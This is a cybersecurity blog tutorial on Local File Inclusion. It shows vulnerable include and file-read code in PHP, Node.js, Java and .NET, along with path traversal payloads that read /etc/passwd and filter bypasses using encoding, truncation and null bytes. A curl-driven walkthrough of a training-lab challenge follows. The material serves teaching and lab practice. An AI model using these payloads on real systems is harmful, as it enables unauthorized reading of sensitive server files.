Site Logo
Niklas Heringer - Cybersecurity Blog
Cover Image

Intro to File Inclusion

⚔️ Intro

Hey folks! Modern website tech-stacks often use HTTP parameters to

Often times, these parameters are not secured properly.

What if we could manipulate them to display the content of any local file on the hosting server?

This is what we refer to as Local File Inclusion. They can lead to source code disclosure, sensitive data exposure, and even remote code execution.

You load a page… you tweak the URL… and suddenly, you’re staring at /etc/passwd. Welcome to the world of LFI.

LFI’s most common victims: templating engines

Ever seen a website’s URL end in /index.php?page=about? Most often in such cases, templating engines like Twig or Jinja2 are used.

index.php only holds static content (header, nav-bar, footer, etc.), the rest is pulled via the parameter - in this case maybe read from a about.php. Might we be able to grab a different file than about?

❌ NEVER combine a user-controlled parameter and PHP’s include

So often to this day, we see code like this:

if (isset($_GET['name'])) {
    include($_GET['name']);
}

or maybe for language selection, user settings change, etc.

ALWAYS check: does the code explicitly and comprehensively filter and sanitize the user input?

If not –> File Inclusion babyy!

Other sinners in PHP

include_once()
require()
require_once()
file_get_contents()

and others can all have the same effect!

💡 Why care in 2025? Many legacy apps and hastily built admin panels still rely on dynamic includes — making LFI alive and well today.

🚩 Red flags in other languages and environments

🔍 Spotting LFI in Node.js

Example 1: File Read via Query Parameter

if (req.query.language) {
    fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
        res.write(data);
    });
}

🔍 What’s happening here?

So, what if we did:

http://example.com/?language=../../../../etc/passwd

…the server will try to read that file relative to the app’s directory. This is a classic LFI vulnerability.

Example 2: LFI via Express render()

app.get("/about/:language", function(req, res) {
    res.render(`/${req.params.language}/about.html`);
});

🔍 What’s happening here?

If there’s no validation, we can again request:

/about/../../../../../etc/passwd

which might trick the server all the same.

🔍 Spotting LFI in Java

The same problem can be spotted in a Java web server - let’s look at Java Server Pages (JSP)

Example 1: Include with <jsp:include>

<c:if test="${not empty param.language}">
    <jsp:include file="<%= request.getParameter('language') %>" />
</c:if>

🔍 What’s happening here?

So same attack path:

/page.jsp?language=../../WEB-INF/web.xml

could include sensitive server files.

Example 2: Import with <c:import>

<c:import url="<%= request.getParameter('language') %>"/>

This again includes a file or external URL - it could be abused with e.g. ?language=../../somefile.

🔍 Spotting LFI in .NET

For .NET web applications, the Response.WriteFile function is very similar to all earlier examples:

@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
    <% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %> 
}

🔍 What’s happening here?

Again, the path is retrieved via a GET parameter for dynamic content loading. Another dangerous one is:

@Html.Partial(HttpContext.Request.Query['language'])

Html.Partial() can also be used ot render the specified file as part of the frontend template.

And then again, another classic:

<!--#include file="<% HttpContext.Request.Query['language'] %>"-->

What can we do with what we learned?

Some of the above only read content, others also execute specific files. Some even allow specifying remote URLs.

Function Read Content Execute Remote URL
PHP
include()/include_once()
require()/require_once()
file_get_contents()
fopen()/file()
NodeJS
fs.readFile()
fs.sendFile()
res.render()
Java
include
import
.NET
@Html.Partial()
@Html.RemotePartial()
Response.WriteFile()
include

This table is from HTB Academy - a great learning platform, if you use it on the side and keep up practicing!

🧪 Basic LFI in practice

Image On this HTB-training-site, we can swap the language parameter between english and spanish:

http://94.237.58.73:57686/index.php?language=es.php
#and
http://94.237.58.73:57686/index.php?language=en.php

Image

Oh look, who’s Barry?

The same way they let us retrieve a small flag.

🧠 What I Wish They Let Me Try

Second-Order Local File Inclusion occurs when the vulnerable path is not taken directly from user input, but rather from a value previously stored (e.g., in a database).

This is still common, developers often trust values that come from their database unchecked.

So it would’ve been fun having a register site and registring with username = '../../../etc/passwd' and then utilizing some function like:

include("/profile/$username/avatar.png");
/profile/../../../etc/passwd/avatar.png  resolved to /etc/passwd 

🛠️ Basic Bypasses

🎭 Being a bit creative

$language = str_replace('../', '', $_GET['language']);

Oh no, our EVIL MASTERPLAN has been ruined! ../ is rendered out of the query.

http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd
#becomes
http://<SERVER_IP>:<PORT>/index.php?language=./languages/etc/passwd

Image

😈 Luckily for us, that filter isn’t recursive — so sneaky inputs like ....// still decode to ../ - Path traversal lives!

http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd

still does the job.. just as ..././ or ....\/ and several other recursive LFI payloads.

In some cases escaping the forward slash character may also work to avoid path traversal filters - like ....\/ or adding extra forward slashes (e.g. ....////)

URL Encoding might also help

A URL Encoder (On your attacker box just use the Burp Decoder) could also assist you encoding your payload - this would help you against the site filtering . or / out of your payload.

Image

Sometimes, also double encoding might help to bypass other types of filters.. let’s see in which future post we encounter that again.

☕ Fuel The Forge

🔥 This post was crafted over many sessions of trial, failure, and payload alchemy.
If it helped you level up your LFI skills — consider throwing a coffee into the furnace:

Support the Forge on Ko-fi

🛠 Your support powers future walkthroughs, tool scripts, and late-night exploit builds.

ko-fi.com/niklasheringer

🔍 Regex Filter Bypass

Some web applications use Regular Expressions (Regex) to restrict which file paths can be included — usually limiting them to a specific directory.

if (preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
    include($_GET['language']);
} else {
    echo 'Illegal path specified!';
}

This Regex expression only allows paths that start with ./languages/ - for example: ./languages/en.php or ./languages/es.php

To bypass this regex, attackers can start with the approved path, then use path traversal (../) to escape it:

./languages/../../../../etc/passwd

Bypassing Appended Extensions

Some web apps automatically append a file extension (e.g., .php) to user input when including files:

include($_GET['language'] . '.php');

This restricts LFI payloads to files ending in .php.

Possible Bypass 1: Path Truncation (Legacy PHP <5.3/5.4)

PHP had a string length limit (≈4096 characters), if the final file path exceeded that limit, the .php extension could get cut off.

Payload idea:

?language=non_existing_dir/../../../etc/passwd/./././././././././.  [~2048 times]

Automated:

echo -n "non_existing_dir/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done

The long path gets truncated before .php is appended. PHP then resolves the path to /etc/passwd. ⚠️ Only works on old PHP versions and when include() is used.

Possible Bypass 2: Null Byte Injection (%00) (PHP <5.5)

PHP (like C) used to treat %00 (null byte) as the end of a string - anything after %00 was ignored. This tricked the engine into dropping .php, even if appended.

?language=/etc/passwd%00

The app sees /etc/passwd%00.php - but PHP only reads /etc/passwd.

🧨 HTB Filter Bypass Puzzle

Image

This challenge combines multiple bypasses - let’s see what we can do about that.

http://94.237.123.14:40988/index.php?language=languages%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

gave us nothing, but with ./language/... it was “Illegal path specified.”

Then lets encode:

languages/....//....//....//....//....//etc\/passwd

to

languages%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc%5C%2Fpasswd

Doesn’t work, but the regular functionality definitely wants us to stay in languages/.

What we also know:

  1. The app seems to filter ../ likely with something like:
str_replace('../', '', $_GET['language']);
  1. The app checks for regex (so we stay in our path):
preg_match('/^\.\/languages\/.+$/', ...)

It may also append .php behind the scenes..

The app may block raw . or /, but might miss encoded characters like:

That way we could build a long traversal string with encoded segments like:

languages%2f..%2f..%2f..%2f..%2fetc%2fpasswd%2f%2e%2f%2e%2f%2e%2f... [repeat]

Then use a loop to automate:

echo -n "languages/....//....//....//....//etc/passwd" > payload.txt && for i in {1..1500}; do echo -n "%2e%2f" >> payload.txt; done && echo "" >> payload.txt

Then paste that full URL as our payload:

PAYLOAD=$(cat payload.txt)
curl "http://<TARGET_IP>:<PORT>/index.php?language=$PAYLOAD"
curl "http://94.237.123.14:40988/index.php?language=$PAYLOAD"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>414 Request-URI Too Long</title>
</head><body>
<h1>Request-URI Too Long</h1>
<p>The requested URL's length exceeds the capacity
limit for this server.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 192.168.59.203 Port 80</address>
</body></html>

a bit too long, let’s go with:

echo -n "languages/....//....//....//....//etc/passwd" > payload.txt && for i in {1..1350}; do echo -n "%2e%2f" >> payload.txt; done && echo "" >> payload.txt

yet the answer is still completely normal..

let’s try something different..

echo -n "languages/....////....////....////....////etc/passwd" > payload.txt && for i in {1..1350}; do echo -n "./" >> payload.txt; done && echo "" >> payload.txt

Now, we URL-encode:

cat payload.txt | jq -sRr @uri

Seems too much - does not work.

http://<TARGET_IP>:<TARGET_PORT>/index.php?language=languages%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2Fetc%2Fpasswd

WORKS!

So let’s do:

http://<TARGET_IP>:<TARGET_PORT>/index.php?language=languages%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2Fflag.txt

BAM! Worked!

Tried a similar bypass that worked differently? DM me anywhere (my platforms are all linked here) — the Forge always welcomes new fire.